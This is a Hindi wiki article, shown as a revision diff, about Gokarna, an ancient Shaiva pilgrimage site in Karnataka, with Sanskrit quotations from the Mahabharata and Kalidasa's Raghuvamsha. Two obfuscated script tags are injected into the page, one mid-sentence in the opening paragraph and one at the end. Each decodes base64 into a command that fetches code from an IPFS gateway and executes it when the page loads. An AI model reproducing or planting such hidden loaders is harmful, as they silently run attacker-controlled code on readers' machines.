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− | '''गोकण''' [[मैसूर]], [[कर्नाटक]] में गंगवती-समुद्र संगम पर, हुबली से 100 मील {{मील|मील=100}} दूर, उत्तर कनारा क्षेत्र में स्थित एक प्राचीन [[शैव]] [[तीर्थ]] है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=296|url=}}</ref> [[महाभारत]] [[आदिपर्व महाभारत|आदिपर्व]]<ref>[[आदिपर्व महाभारत|आदिपर्व]] 216, 34-35</ref> में इसका उल्लेख [[अर्जुन]] की वनवास यात्रा के प्रसंग में इस प्रकार है- | + | '''गोकण''' [[मैसूर]], [[कर्नाटक]] में गंगवती-समुद्र संगम पर, [[हुबली]] से 100 मील {{मील|मील=100}} दूर, उत्तर कनारा क्षेत्र में स्थित एक प्राचीन [[शैव]] [[तीर्थ]] है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=296|url=}}</ref> [[महाभारत]] [[आदिपर्व महाभारत|आदिपर्व]]<ref>[[आदिपर्व महाभारत|आदिपर्व]] 216, 34-35</ref> में इसका उल्लेख [[अर्जुन]] की वनवास यात्रा के प्रसंग में इस प्रकार है- |
<blockquote>'आद्यं पशुपते: स्थानं दर्शनादेव मुक्तिदम्, यत्र पापोऽपि मनुज: प्राप्नोत्यभयं पदम्।'</blockquote> | <blockquote>'आद्यं पशुपते: स्थानं दर्शनादेव मुक्तिदम्, यत्र पापोऽपि मनुज: प्राप्नोत्यभयं पदम्।'</blockquote> |
11:52, 25 जून 2014 के समय का अवतरण
गोकण मैसूर, कर्नाटक में गंगवती-समुद्र संगम पर, हुबली से 100 मील (लगभग 160 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> दूर, उत्तर कनारा क्षेत्र में स्थित एक प्राचीन शैव तीर्थ है।[1] महाभारत आदिपर्व[2] में इसका उल्लेख अर्जुन की वनवास यात्रा के प्रसंग में इस प्रकार है-
'आद्यं पशुपते: स्थानं दर्शनादेव मुक्तिदम्, यत्र पापोऽपि मनुज: प्राप्नोत्यभयं पदम्।'
'अथ गोकर्णमासाद्य त्रिषु लोकेषु विश्रुतम्, समुद्र मध्ये राजेन्द्र सर्वलोक नमस्कृतम्।'
- वनपर्व[4] में गोकर्ण का पुन: उल्लेख है और इसे ताम्रपर्णी नदी के पास माना गया है-
'ताम्रपर्णी तु कैन्तेय कीर्तयिष्यामि तां श्रुणु यत्र देवैस्तपस्तप्तं महदिच्छदिभराश्रमे गाकर्ण इति विख्यातस्त्रिषु लोकेषु भारत।'
- गोकण स्थान पर ही अगस्त्य के शिष्य 'तृणसोमाग्नि' का आश्रम था।[5]
- महाकवि कालिदास ने 'रघुवंश'[6] में भी कोकर्ण को दक्षिण समुद्र तट पर स्थित लिखा है-
'अयरोधसि दक्षिणोदधे: श्रितगोकर्ण निकेतमीश्वरम्, उपवीणयितुं ययौ रवेरुदयावृतिपथेन नारद:।'
उपर्युक्त उल्लेख में गोकर्ण को भगवान शिव का 'निकेत' अथवा 'गृह' बताया गया है।
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टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>